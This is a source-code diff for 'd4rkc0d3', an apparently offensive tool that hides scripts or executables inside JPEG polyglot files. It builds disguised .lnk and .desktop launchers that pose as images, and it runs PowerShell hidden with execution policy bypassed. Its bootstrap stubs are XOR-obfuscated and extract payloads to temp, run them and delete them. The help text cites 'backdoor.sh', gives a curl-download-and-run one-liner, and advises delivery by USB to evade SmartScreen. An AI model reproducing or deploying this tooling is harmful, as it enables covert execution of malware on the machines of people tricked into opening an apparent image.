generated.append(('macOS (.app in ZIP)', z))
|
||||
except Exception as e:
|
||||
warn(f"macOS build failed: {e}")
|
||||
|
||||
if 'linux-jpg' in targets:
|
||||
head("Linux .desktop (named .jpg)")
|
||||
try:
|
||||
# Use a distinct stem so it doesn't overwrite the polyglot
|
||||
linux_img_copy = os.path.join(out, f"{name}_launch.jpg")
|
||||
import shutil
|
||||
shutil.copy2(image, linux_img_copy)
|
||||
d = build_linux(linux_img_copy, exec_cmd, out, jpg_name=True)
|
||||
ok(f"Linux .jpg → {d} ({os.path.getsize(d)} bytes)")
|
||||
info(f"Name visible: '{name}_launch.jpg' (no .desktop in filename)")
|
||||
info(f"Thunar / Nemo / Caja: executes on double-click (GIO content detection)")
|
||||
info(f"Nautilus (GNOME): may show 'Trust and Launch' dialog")
|
||||
generated.append(('Linux (content detection)', d))
|
||||
except Exception as e:
|
||||
warn(f"Linux build failed: {e}")
|
||||
|
||||
if 'linux-dot' in targets:
|
||||
head("Linux .desktop (explicit extension)")
|
||||
try:
|
||||
d = build_linux(image, exec_cmd, out, jpg_name=False)
|
||||
ok(f"Linux .desktop → {d} ({os.path.getsize(d)} bytes)")
|
||||
info(f"Name visible: '{name}.jpg.desktop'")
|
||||
info(f"All major file managers execute without dialog (except Nautilus)")
|
||||
generated.append(('Linux (.desktop)', d))
|
||||
except Exception as e:
|
||||
warn(f"Linux .desktop build failed: {e}")
|
||||
|
||||
if 'windows' in targets:
|
||||
head("Windows .lnk launcher")
|
||||
try:
|
||||
ps_cmd = (
|
||||
f'powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
|
||||
f'-File "{os.path.abspath(poly_path)}"'
|
||||
)
|
||||
lnk = build_windows_lnk(poly_path, out)
|
||||
ok(f"Windows .lnk → {lnk} ({os.path.getsize(lnk)} bytes)")
|
||||
info(f"Explorer shows: '{name}.jpg' (Explorer hides .lnk by default)")
|
||||
info(f"Double-click → PowerShell runs the polyglot silently")
|
||||
info(f"Requires: PowerShell (pre-installed on all modern Windows)")
|
||||
info(f"SmartScreen: may warn for files from internet (deliver via USB/LAN)")
|
||||
generated.append(('Windows (.lnk)', lnk))
|
||||
except Exception as e:
|
||||
warn(f"Windows .lnk build failed: {e}")
|
||||
|
||||
# ── Summary ────────────────────────────────────────────────────────────
|
||||
print(f"\n{'─'*54}")
|
||||
print(f"{C.BOLD}Generated:{C.END}")
|
||||
for label, path in generated:
|
||||
print(f" {C.GREEN}✓{C.END} [{label}]")
|
||||
print(f" {path}")
|
||||
|
||||
print(f"\n{C.BOLD}Execution reference:{C.END}")
|
||||
print(f" Linux / macOS: sh {os.path.basename(poly_path)}")
|
||||
print(f" Windows: powershell -ExecutionPolicy Bypass -File {os.path.basename(poly_path)}")
|
||||
print(f" PS rename: ren {name}.jpg {name}.ps1 && pwsh {name}.ps1")
|
||||
if 'mac' in targets:
|
||||
print(f" macOS click: extract {name}.zip → double-click {name}.jpg")
|
||||
if 'windows' in targets:
|
||||
print(f" Windows click: double-click {name}.jpg.lnk (shows as {name}.jpg)")
|
||||
print(f"{'─'*54}\n")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Binary file not shown.
+377
@@ -0,0 +1,377 @@
|
||||
#include "args.h"
|
||||
|
||||
#include <cstdio>
|
||||
#include <format>
|
||||
#include <iostream>
|
||||
#include <print>
|
||||
#include <stdexcept>
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
namespace {
|
||||
|
||||
void printInteractiveBanner() {
|
||||
std::print(R"(
|
||||
┌─────────────────────────────────────────────────┐
|
||||
│ │
|
||||
│ ▓█████▄ ██░ ██ ██▀███ ██ ▄█▀ ▄████▄ │
|
||||
│ ▒██▀ ██▌▓██░ ██▒▓██ ▒ ██▒ ██▄█▒ ██▀ ▀█ │
|
||||
│ ░██ █▌▒██▀▀██░▓██ ░▄█ ▒▓███▄░ ▓█ ▄ │
|
||||
│ ░▓█▄ ▌░▓█ ░██ ▒██▀▀█▄ ▓██ █▄▒▓▓▄ ▄██▒ │
|
||||
│ ░▒████▓ ░▓█▒░██▓░██▓ ▒██▒▒██▒ █▄▒ ▓███▀ ░ │
|
||||
│ ▒▒▓ ▒ ▒ ░░▒░░ ▒▓ ░▒▓░▒ ▒▒ ▓▒░ ░▒ ▒ ░ │
|
||||
│ │
|
||||
│ d4rkc0d3 — JPG Polyglot Embedder v4.0 │
|
||||
│ │
|
||||
└─────────────────────────────────────────────────┘
|
||||
)");
|
||||
}
|
||||
|
||||
void printHelp(std::string_view prog) {
|
||||
std::print(R"(
|
||||
|
||||
d4rkc0d3 v4.0 — JPG Polyglot Embedder
|
||||
|
||||
Embeds scripts, executables, or inline commands within a JPG image,
|
||||
creating a polyglot file that works as both a valid image and runnable code.
|
||||
|
||||
──────────────────────────
|
||||
Supported payload types
|
||||
──────────────────────────
|
||||
|
||||
Scripts: .ps1 .sh .bash .zsh .py .rb .pl .bat .cmd
|
||||
Binaries: .exe .elf .bin .out .appimage .dll .so .dylib
|
||||
|
||||
.ps1 scripts are embedded directly (original behavior).
|
||||
All other payloads are base64-encoded with an auto-extract bootstrap.
|
||||
|
||||
──────────────────────────
|
||||
Usage (CLI mode)
|
||||
──────────────────────────
|
||||
|
||||
{0} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] <cover_image> <payload_file>
|
||||
{0} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] -c <cover_image> "commands"
|
||||
{0} --help
|
||||
|
||||
Run without arguments for interactive mode.
|
||||
|
||||
──────────────────────────
|
||||
Flags
|
||||
──────────────────────────
|
||||
|
||||
-alt Use alternative tail patch
|
||||
-o <name> Set output filename (default: d4rc0d3_<random>.jpg)
|
||||
-c Inline PowerShell commands mode
|
||||
--keep Keep extracted file after execution (don't auto-delete)
|
||||
--show Open image in viewer when executing (stealth mode)
|
||||
--seq Wait for image viewer to close before running payload
|
||||
-d <path> Custom extraction directory (default: /tmp or system temp)
|
||||
|
||||
──────────────────────────
|
||||
Examples
|
||||
──────────────────────────
|
||||
|
||||
{0} cover.jpg script.ps1
|
||||
{0} cover.jpg backdoor.sh
|
||||
{0} cover.jpg calc.exe
|
||||
{0} -c cover.jpg "hostname;whoami"
|
||||
{0} -o stealth.jpg cover.jpg large.elf
|
||||
|
||||
──────────────────────────
|
||||
Execution
|
||||
──────────────────────────
|
||||
|
||||
Direct: ./output.jpg (Linux/Mac, already +x)
|
||||
PowerShell: pwsh output.jpg
|
||||
Windows: powershell -ExecutionPolicy Bypass -File output.jpg
|
||||
|
||||
One-liner:
|
||||
curl -o i.jpg "URL" && chmod +x i.jpg && ./i.jpg
|
||||
|
||||
Max cover image size: 5MB.
|
||||
|
||||
)", prog);
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string trimWhitespace(const std::string& s) {
|
||||
const auto start = s.find_first_not_of(" \t\r\n");
|
||||
if (start == std::string::npos) return "";
|
||||
const auto end = s.find_last_not_of(" \t\r\n");
|
||||
return s.substr(start, end - start + 1);
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string cleanInputPath(const std::string& raw) {
|
||||
std::string s = trimWhitespace(raw);
|
||||
if (s.size() >= 2) {
|
||||
if ((s.front() == '"' && s.back() == '"') ||
|
||||
(s.front() == '\'' && s.back() == '\'')) {
|
||||
s = s.substr(1, s.size() - 2);
|
||||
}
|
||||
}
|
||||
std::string cleaned;
|
||||
cleaned.reserve(s.size());
|
||||
for (std::size_t i = 0; i < s.size(); ++i) {
|
||||
if (s[i] == '\\' && i + 1 < s.size() && s[i + 1] == ' ') {
|
||||
cleaned += ' ';
|
||||
++i;
|
||||
} else {
|
||||
cleaned += s[i];
|
||||
}
|
||||
}
|
||||
return cleaned;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string readLine(std::string_view prompt) {
|
||||
std::print(" {}", prompt);
|
||||
std::fflush(stdout);
|
||||
std::string line;
|
||||
if (!std::getline(std::cin, line)) {
|
||||
std::println("");
|
||||
throw std::runtime_error("Input cancelled.");
|
||||
}
|
||||
return line;
|
||||
}
|
||||
|
||||
[[nodiscard]] bool readYesNo(std::string_view prompt, bool default_val) {
|
||||
const std::string s = trimWhitespace(readLine(prompt));
|
||||
if (s.empty()) return default_val;
|
||||
return s[0] == 'y' || s[0] == 'Y';
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string_view modeTag(PayloadMode mode) {
|
||||
switch (mode) {
|
||||
case PayloadMode::DirectPwsh: return "PowerShell (direct embed)";
|
||||
case PayloadMode::Script: return "script (base64 bootstrap)";
|
||||
case PayloadMode::Binary: return "binary (base64 bootstrap)";
|
||||
case PayloadMode::Command: return "inline commands";
|
||||
}
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
[[nodiscard]] std::optional<ProgramArgs> interactiveMode() {
|
||||
printInteractiveBanner();
|
||||
|
||||
std::println("\n Select payload mode:\n");
|
||||
std::println(" [1] Inline commands only");
|
||||
std::println(" [2] Script or executable");
|
||||
std::println(" [3] Commands + script/executable");
|
||||
|
||||
const std::string mode_str = trimWhitespace(readLine("\n Mode (1-3): "));
|
||||
|
||||
if (mode_str != "1" && mode_str != "2" && mode_str != "3") {
|
||||
throw std::runtime_error("Invalid mode selection. Expected 1, 2, or 3.");
|
||||
}
|
||||
const int mode = mode_str[0] - '0';
|
||||
|
||||
std::println("");
|
||||
|
||||
ProgramArgs args{};
|
||||
|
||||
const std::string image_raw = readLine("Cover image path: ");
|
||||
args.image_file_path = fs::path(cleanInputPath(image_raw));
|
||||
if (args.image_file_path.empty()) {
|
||||
throw std::runtime_error("Cover image path cannot be empty.");
|
||||
}
|
||||
|
||||
if (mode == 2 || mode == 3) {
|
||||
const std::string payload_raw = readLine("Payload file path: ");
|
||||
args.payload_file_path = fs::path(cleanInputPath(payload_raw));
|
||||
if (args.payload_file_path.empty()) {
|
||||
throw std::runtime_error("Payload file path cannot be empty.");
|
||||
}
|
||||
args.payload_mode = detectPayloadMode(args.payload_file_path);
|
||||
std::println(" → Detected: {}", modeTag(args.payload_mode));
|
||||
}
|
||||
|
||||
if (mode == 1 || mode == 3) {
|
||||
const std::string cmd_raw = readLine("Inline commands: ");
|
||||
args.inline_commands = trimWhitespace(cmd_raw);
|
||||
if (args.inline_commands.empty()) {
|
||||
throw std::runtime_error("Inline commands cannot be empty.");
|
||||
}
|
||||
if (mode == 1) {
|
||||
args.payload_mode = PayloadMode::Command;
|
||||
}
|
||||
}
|
||||
|
||||
std::println("\n ── Options ──");
|
||||
args.option = readYesNo("Alt tail patch? [y/N]: ", false) ? Option::Alt : Option::None;
|
||||
args.show_image = readYesNo("Open image viewer on execution? [y/N]: ", false);
|
||||
if (args.show_image) {
|
||||
args.sequential = readYesNo("Wait for viewer to close before running payload? [y/N]: ", false);
|
||||
}
|
||||
|
||||
if (mode == 2 || mode == 3) {
|
||||
args.keep_extracted = readYesNo("Keep extracted file after execution? [y/N]: ", false);
|
||||
|
||||
const std::string dir_raw = readLine("Extraction directory [Enter = /tmp (Linux/Mac) or %%TEMP%% (Windows)]: ");
|
||||
std::string dir = trimWhitespace(dir_raw);
|
||||
if (!dir.empty()) {
|
||||
args.extract_dir = dir;
|
||||
}
|
||||
}
|
||||
|
||||
const std::string name_raw = readLine("Output filename [Enter = d4rc0d3_<random>.jpg]: ");
|
||||
std::string name = trimWhitespace(name_raw);
|
||||
if (!name.empty() && fs::path(name).extension().empty()) {
|
||||
name += ".jpg";
|
||||
}
|
||||
args.output_filename = name;
|
||||
|
||||
std::println("");
|
||||
return args;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string displayProgramName(std::string_view program_name) {
|
||||
std::string prog = fs::path(program_name).filename().string();
|
||||
if (prog.empty()) {
|
||||
prog = "d4rkc0d3";
|
||||
}
|
||||
return prog;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::runtime_error usageError(std::string_view program_name) {
|
||||
constexpr std::string_view PREFIX = "Usage: ";
|
||||
const std::string prog = displayProgramName(program_name);
|
||||
return std::runtime_error(std::format("{}{} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] <cover_image> <payload>\n"
|
||||
"{}{} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] -c <cover_image> \"commands\"\n"
|
||||
"{}{} --help\n"
|
||||
"{}Run without arguments for interactive mode.",
|
||||
PREFIX, prog,
|
||||
std::string(PREFIX.size(), ' '), prog,
|
||||
std::string(PREFIX.size(), ' '), prog,
|
||||
std::string(PREFIX.size(), ' ')));
|
||||
}
|
||||
|
||||
[[nodiscard]] const char* argumentAt(int argc, char** argv, int index, const char* program_name) {
|
||||
if (argv == nullptr || index < 0 || index >= argc || argv[index] == nullptr) {
|
||||
throw usageError(program_name);
|
||||
}
|
||||
return argv[index];
|
||||
}
|
||||
|
||||
struct ParseState {
|
||||
int next_arg = 1;
|
||||
};
|
||||
|
||||
void parseFlags(int argc, char** argv, const char* program_name, ProgramArgs& out, ParseState& state) {
|
||||
while (state.next_arg < argc) {
|
||||
const std::string_view arg = argumentAt(argc, argv, state.next_arg, program_name);
|
||||
|
||||
if (arg == "-alt") {
|
||||
out.option = Option::Alt;
|
||||
++state.next_arg;
|
||||
} else if (arg == "--keep") {
|
||||
out.keep_extracted = true;
|
||||
++state.next_arg;
|
||||
} else if (arg == "--show") {
|
||||
out.show_image = true;
|
||||
++state.next_arg;
|
||||
} else if (arg == "--seq") {
|
||||
out.sequential = true;
|
||||
++state.next_arg;
|
||||
} else if (arg == "-d") {
|
||||
++state.next_arg;
|
||||
if (state.next_arg >= argc) {
|
||||
throw std::runtime_error("-d requires an extraction directory path.");
|
||||
}
|
||||
out.extract_dir = argumentAt(argc, argv, state.next_arg, program_name);
|
||||
if (out.extract_dir.empty()) {
|
||||
throw std::runtime_error("-d requires a non-empty path.");
|
||||
}
|
||||
++state.next_arg;
|
||||
} else if (arg == "-o") {
|
||||
++state.next_arg;
|
||||
if (state.next_arg >= argc) {
|
||||
throw std::runtime_error("-o requires an output filename.");
|
||||
}
|
||||
out.output_filename = argumentAt(argc, argv, state.next_arg, program_name);
|
||||
if (out.output_filename.empty()) {
|
||||
throw std::runtime_error("-o requires a non-empty filename.");
|
||||
}
|
||||
if (fs::path(out.output_filename).extension().empty()) {
|
||||
out.output_filename += ".jpg";
|
||||
}
|
||||
++state.next_arg;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void parseCommandMode(int argc, char** argv, const char* program_name, ProgramArgs& out, ParseState& state) {
|
||||
if (state.next_arg >= argc) {
|
||||
throw usageError(program_name);
|
||||
}
|
||||
|
||||
const std::string_view arg = argumentAt(argc, argv, state.next_arg, program_name);
|
||||
|
||||
if (arg == "-c") {
|
||||
out.payload_mode = PayloadMode::Command;
|
||||
++state.next_arg;
|
||||
|
||||
if (state.next_arg + 1 >= argc) {
|
||||
throw usageError(program_name);
|
||||
}
|
||||
|
||||
out.image_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
|
||||
++state.next_arg;
|
||||
|
||||
out.inline_commands = argumentAt(argc, argv, state.next_arg, program_name);
|
||||
++state.next_arg;
|
||||
|
||||
if (out.image_file_path.empty() || out.inline_commands.empty()) {
|
||||
throw usageError(program_name);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (state.next_arg + 1 >= argc) {
|
||||
throw usageError(program_name);
|
||||
}
|
||||
|
||||
out.image_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
|
||||
++state.next_arg;
|
||||
|
||||
out.payload_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
|
||||
++state.next_arg;
|
||||
|
||||
if (out.image_file_path.empty() || out.payload_file_path.empty()) {
|
||||
throw usageError(program_name);
|
||||
}
|
||||
|
||||
out.payload_mode = detectPayloadMode(out.payload_file_path);
|
||||
}
|
||||
}
|
||||
|
||||
std::optional<ProgramArgs> ProgramArgs::parse(int argc, char** argv) {
|
||||
const char* program_name = (argc > 0 && argv != nullptr && argv[0] != nullptr) ? argv[0] : "d4rkc0d3";
|
||||
|
||||
if (argc < 2) {
|
||||
return interactiveMode();
|
||||
}
|
||||
|
||||
const std::string_view first_arg = argumentAt(argc, argv, 1, program_name);
|
||||
if (first_arg == "--help" || first_arg == "--info") {
|
||||
if (argc != 2) {
|
||||
throw usageError(program_name);
|
||||
}
|
||||
printHelp(displayProgramName(program_name));
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ProgramArgs out{};
|
||||
ParseState state{};
|
||||
state.next_arg = 1;
|
||||
|
||||
parseFlags(argc, argv, program_name, out, state);
|
||||
parseCommandMode(argc, argv, program_name, out, state);
|
||||
|
||||
if (state.next_arg != argc) {
|
||||
throw usageError(program_name);
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
#pragma once
|
||||
|
||||
#include "bootstrap.h"
|
||||
|
||||
#include <filesystem>
|
||||
#include <optional>
|
||||
#include <string>
|
||||
|
||||
enum class Option : unsigned char { None, Alt };
|
||||
|
||||
struct ProgramArgs {
|
||||
Option option{Option::None};
|
||||
PayloadMode payload_mode{PayloadMode::DirectPwsh};
|
||||
std::filesystem::path image_file_path;
|
||||
std::filesystem::path payload_file_path;
|
||||
std::string inline_commands;
|
||||
std::string output_filename;
|
||||
bool keep_extracted{false};
|
||||
bool show_image{false};
|
||||
bool sequential{false};
|
||||
std::string extract_dir;
|
||||
|
||||
static std::optional<ProgramArgs> parse(int argc, char** argv);
|
||||
};
|
||||
@@ -0,0 +1,556 @@
|
||||
#include "bootstrap.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <array>
|
||||
#include <cctype>
|
||||
#include <format>
|
||||
#include <random>
|
||||
#include <span>
|
||||
#include <stdexcept>
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
|
||||
namespace {
|
||||
|
||||
constexpr std::string_view BASE64_CHARS =
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
[[nodiscard]] std::string base64Encode(std::span<const Byte> input) {
|
||||
std::string result;
|
||||
result.reserve(((input.size() + 2) / 3) * 4);
|
||||
|
||||
std::size_t i = 0;
|
||||
while (i + 2 < input.size()) {
|
||||
const auto triple =
|
||||
(static_cast<uint32_t>(input[i]) << 16) |
|
||||
(static_cast<uint32_t>(input[i + 1]) << 8) |
|
||||
static_cast<uint32_t>(input[i + 2]);
|
||||
result += BASE64_CHARS[(triple >> 18) & 0x3F];
|
||||
result += BASE64_CHARS[(triple >> 12) & 0x3F];
|
||||
result += BASE64_CHARS[(triple >> 6) & 0x3F];
|
||||
result += BASE64_CHARS[ triple & 0x3F];
|
||||
i += 3;
|
||||
}
|
||||
|
||||
if (i < input.size()) {
|
||||
auto triple = static_cast<uint32_t>(input[i]) << 16;
|
||||
if (i + 1 < input.size()) {
|
||||
triple |= static_cast<uint32_t>(input[i + 1]) << 8;
|
||||
}
|
||||
result += BASE64_CHARS[(triple >> 18) & 0x3F];
|
||||
result += BASE64_CHARS[(triple >> 12) & 0x3F];
|
||||
result += (i + 1 < input.size())
|
||||
? BASE64_CHARS[(triple >> 6) & 0x3F]
|
||||
: '=';
|
||||
result += '=';
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string toLowerExt(const std::filesystem::path& p) {
|
||||
std::string ext = p.extension().string();
|
||||
std::ranges::transform(ext, ext.begin(), [](unsigned char c) {
|
||||
return static_cast<char>(std::tolower(c));
|
||||
});
|
||||
return ext;
|
||||
}
|
||||
|
||||
struct InterpreterInfo {
|
||||
std::string_view ext;
|
||||
std::string_view interpreter;
|
||||
bool is_script;
|
||||
};
|
||||
|
||||
constexpr auto INTERPRETER_MAP = std::to_array<InterpreterInfo>({
|
||||
{ ".sh", "bash", true },
|
||||
{ ".bash", "bash", true },
|
||||
{ ".zsh", "zsh", true },
|
||||
{ ".py", "python3", true },
|
||||
{ ".rb", "ruby", true },
|
||||
{ ".pl", "perl", true },
|
||||
{ ".bat", "cmd /c", true },
|
||||
{ ".cmd", "cmd /c", true },
|
||||
});
|
||||
|
||||
constexpr auto BINARY_EXTENSIONS = std::to_array<std::string_view>({
|
||||
".exe", ".elf", ".bin", ".out", ".appimage",
|
||||
".dll", ".so", ".dylib",
|
||||
});
|
||||
|
||||
[[nodiscard]] bool isBinaryExtension(std::string_view ext) {
|
||||
return std::ranges::any_of(BINARY_EXTENSIONS, [&](std::string_view be) {
|
||||
return ext == be;
|
||||
});
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string_view interpreterForExtension(std::string_view ext) {
|
||||
for (const auto& entry : INTERPRETER_MAP) {
|
||||
if (entry.ext == ext) {
|
||||
return entry.interpreter;
|
||||
}
|
||||
}
|
||||
return {};
|
||||
}
|
||||
|
||||
// ── XOR helpers ─────────────────────────────────────────
|
||||
|
||||
[[nodiscard]] vBytes xorEncode(std::span<const Byte> data, std::span<const Byte> key) {
|
||||
vBytes result(data.size());
|
||||
for (std::size_t i = 0; i < data.size(); ++i) {
|
||||
result[i] = data[i] ^ key[i % key.size()];
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string formatNumericArray(std::span<const Byte> data) {
|
||||
std::string result;
|
||||
result.reserve(data.size() * 4);
|
||||
for (std::size_t i = 0; i < data.size(); ++i) {
|
||||
if (i > 0) result += ',';
|
||||
result += std::to_string(data[i]);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string formatOctalEscaped(std::string_view s) {
|
||||
std::string result;
|
||||
result.reserve(s.size() * 4);
|
||||
for (auto ch : s) {
|
||||
result += std::format("\\{:03o}", static_cast<unsigned char>(ch));
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string formatPsCharArray(std::string_view s) {
|
||||
std::string result;
|
||||
result.reserve(s.size() * 4);
|
||||
for (std::size_t i = 0; i < s.size(); ++i) {
|
||||
if (i > 0) result += ',';
|
||||
result += std::to_string(static_cast<unsigned char>(s[i]));
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Resolves $_p to the running script path.
|
||||
// Works for: pwsh file.ps1, pwsh file.jpg, pwsh -File file.jpg,
|
||||
// powershell -ExecutionPolicy Bypass -File file.jpg
|
||||
constexpr std::string_view PS_RESOLVE_PATH =
|
||||
"$_p=$MyInvocation.MyCommand.Path;"
|
||||
"if([string]::IsNullOrEmpty($_p)){"
|
||||
"$_ca=[Environment]::GetCommandLineArgs();"
|
||||
"for($_ci=0;$_ci-lt$_ca.Length-1;$_ci++){"
|
||||
"if($_ca[$_ci]-eq'-File'-or$_ca[$_ci]-eq'-f'){"
|
||||
"$_p=$_ca[$_ci+1];break"
|
||||
"}"
|
||||
"};"
|
||||
"if([string]::IsNullOrEmpty($_p)-and$_ca.Length-ge2){"
|
||||
"$_p=$_ca[1]"
|
||||
"}"
|
||||
"};";
|
||||
|
||||
[[nodiscard]] std::string psKeyDerivation() {
|
||||
return std::string(PS_RESOLVE_PATH) +
|
||||
std::format(
|
||||
"$_f=[IO.File]::ReadAllBytes($_p);"
|
||||
"$_a=0;for($j=0;$j-lt$_f.Length-1;$j++)"
|
||||
"{{if($_f[$j]-eq0xFF-and$_f[$j+1]-eq0xE2){{$_a=$j;break}}}};"
|
||||
"$_k=[byte[]]::new({1});for($j=0;$j-lt{1};$j++)"
|
||||
"{{$_k[$j]=$_f[$_a+{0}+$j]}}",
|
||||
ICC_KEY_OFFSET, XOR_KEY_LENGTH);
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string wrapPsXorStub(
|
||||
const std::string& ps_code,
|
||||
std::span<const Byte> key) {
|
||||
|
||||
vBytes code_bytes(reinterpret_cast<const Byte*>(ps_code.data()),
|
||||
reinterpret_cast<const Byte*>(ps_code.data() + ps_code.size()));
|
||||
vBytes xored = xorEncode(code_bytes, key);
|
||||
|
||||
std::string inner = std::format(
|
||||
"{};$d=@({});$r='';for($i=0;$i-lt$d.Count;$i++)"
|
||||
"{{$r+=[char]($d[$i]-bxor$_k[$i%$_k.Length])}};iex $r",
|
||||
psKeyDerivation(), formatNumericArray(xored));
|
||||
|
||||
return std::format(
|
||||
"&([char[]]@(105,101,120)-join'')([char[]]@({})-join'')",
|
||||
formatPsCharArray(inner));
|
||||
}
|
||||
|
||||
// ── Bootstrap builders ──────────────────────────────────
|
||||
|
||||
[[nodiscard]] std::string psExtractDir(const BootstrapOptions& opts) {
|
||||
if (opts.extract_dir.empty()) {
|
||||
return "[IO.Path]::GetTempPath()";
|
||||
}
|
||||
return std::format("'{}'", opts.extract_dir);
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string psShowPrefix(const BootstrapOptions& opts) {
|
||||
if (!opts.show_image) {
|
||||
return "";
|
||||
}
|
||||
if (opts.sequential) {
|
||||
return std::string(PS_RESOLVE_PATH) +
|
||||
"try{if($IsMacOS){& open -W $_p}elseif($IsLinux){& xdg-open $_p;Start-Sleep 1}"
|
||||
"else{Start-Process mspaint.exe $_p -Wait}}catch{};";
|
||||
}
|
||||
return std::string(PS_RESOLVE_PATH) +
|
||||
"try{if($IsMacOS){& open $_p}elseif($IsLinux){& xdg-open $_p}"
|
||||
"else{Start-Process mspaint.exe $_p}}catch{};";
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string shellShowPrefix(std::string_view self = "$0", bool sequential = false) {
|
||||
if (sequential) {
|
||||
return std::format("open -W \"{}\" 2>/dev/null || xdg-open \"{}\" 2>/dev/null\n", self, self);
|
||||
}
|
||||
return std::format("(open \"{}\" 2>/dev/null || xdg-open \"{}\" 2>/dev/null) &\n", self, self);
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string buildScriptBootstrap(
|
||||
std::string_view interpreter,
|
||||
std::string_view target_ext,
|
||||
const BootstrapOptions& opts,
|
||||
std::span<const Byte> xor_key) {
|
||||
|
||||
const std::string dir_expr = psExtractDir(opts);
|
||||
const std::string cleanup = opts.keep_extracted
|
||||
? ""
|
||||
: "finally{Remove-Item $_t -EA 0}";
|
||||
const std::string show = psShowPrefix(opts);
|
||||
|
||||
std::string xor_decode;
|
||||
if (!xor_key.empty()) {
|
||||
xor_decode = std::format(
|
||||
"{};for($_j=0;$_j-lt$_d.Length;$_j++)"
|
||||
"{{$_d[$_j]=$_d[$_j]-bxor$_k[$_j%$_k.Length]}};",
|
||||
psKeyDerivation());
|
||||
}
|
||||
|
||||
std::string marker = std::format("\r\n#JPWS:{}:{}\r\n", target_ext, interpreter);
|
||||
|
||||
std::string body = std::format(
|
||||
"{}$_s=[IO.File]::ReadAllText($_p,"
|
||||
"[Text.Encoding]::GetEncoding(28591));"
|
||||
"$_i=$_s.IndexOf('#_:')+3;"
|
||||
"$_d=[Convert]::FromBase64String("
|
||||
"$_s.Substring($_i,$_s.IndexOf(\"`n\",$_i)-$_i));"
|
||||
"{}"
|
||||
"$_t=[IO.Path]::Combine({},"
|
||||
"[IO.Path]::GetFileName($_p));"
|
||||
"[IO.File]::WriteAllBytes($_t,$_d);"
|
||||
"try{{"
|
||||
"if($IsLinux-or$IsMacOS){{chmod +x $_t;{} $_t}}"
|
||||
"else{{{} $_t}}"
|
||||
"}}{};exit",
|
||||
show, xor_decode, dir_expr, interpreter, interpreter, cleanup);
|
||||
|
||||
return marker + body;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string buildBinaryBootstrap(
|
||||
std::string_view target_ext,
|
||||
const BootstrapOptions& opts,
|
||||
std::span<const Byte> xor_key) {
|
||||
|
||||
const std::string dir_expr = psExtractDir(opts);
|
||||
const std::string cleanup = opts.keep_extracted
|
||||
? ""
|
||||
: "finally{Remove-Item $_t -EA 0}";
|
||||
const std::string show = psShowPrefix(opts);
|
||||
|
||||
std::string xor_decode;
|
||||
if (!xor_key.empty()) {
|
||||
xor_decode = std::format(
|
||||
"{};for($_j=0;$_j-lt$_d.Length;$_j++)"
|
||||
"{{$_d[$_j]=$_d[$_j]-bxor$_k[$_j%$_k.Length]}};",
|
||||
psKeyDerivation());
|
||||
}
|
||||
|
||||
std::string marker = std::format("\r\n#JPWS:{}:exec\r\n", target_ext);
|
||||
|
||||
std::string body = std::format(
|
||||
"{}$_s=[IO.File]::ReadAllText($_p,"
|
||||
"[Text.Encoding]::GetEncoding(28591));"
|
||||
"$_i=$_s.IndexOf('#_:')+3;"
|
||||
"$_d=[Convert]::FromBase64String("
|
||||
"$_s.Substring($_i,$_s.IndexOf(\"`n\",$_i)-$_i));"
|
||||
"{}"
|
||||
"$_t=[IO.Path]::Combine({},"
|
||||
"[IO.Path]::GetFileName($_p));"
|
||||
"[IO.File]::WriteAllBytes($_t,$_d);"
|
||||
"try{{"
|
||||
"if($IsLinux-or$IsMacOS){{chmod +x $_t}}"
|
||||
"&$_t"
|
||||
"}}{};exit",
|
||||
show, xor_decode, dir_expr, cleanup);
|
||||
|
||||
return marker + body;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string escapeForEval(std::string_view cmd) {
|
||||
std::string result;
|
||||
result.reserve(cmd.size());
|
||||
for (char c : cmd) {
|
||||
if (c == '\'') {
|
||||
result += "'\\''";
|
||||
} else {
|
||||
result += c;
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
vBytes generateXorKey(std::size_t length) {
|
||||
std::random_device rd;
|
||||
vBytes key(length);
|
||||
std::uniform_int_distribution<unsigned> dist(1, 255);
|
||||
for (auto& b : key) {
|
||||
b = static_cast<Byte>(dist(rd));
|
||||
}
|
||||
return key;
|
||||
}
|
||||
|
||||
